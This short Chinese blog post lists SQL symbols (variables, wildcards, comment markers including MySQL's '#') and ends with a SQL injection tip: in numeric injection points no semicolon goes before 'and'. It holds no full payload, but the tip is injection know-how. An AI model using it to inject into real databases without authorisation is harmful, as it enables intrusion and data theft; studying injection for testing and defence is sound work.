@是定义变量
%是模糊查询符号

*是通配符

()是括号

--是注释

在MySQL中采用的是"#"方式进行单行注释。

对数字型来说,注入的那里,and前面是不能加分号的。

posted @ 2021-01-01 12:55  Jeromeyoung  阅读(993)  评论(0编辑  收藏  举报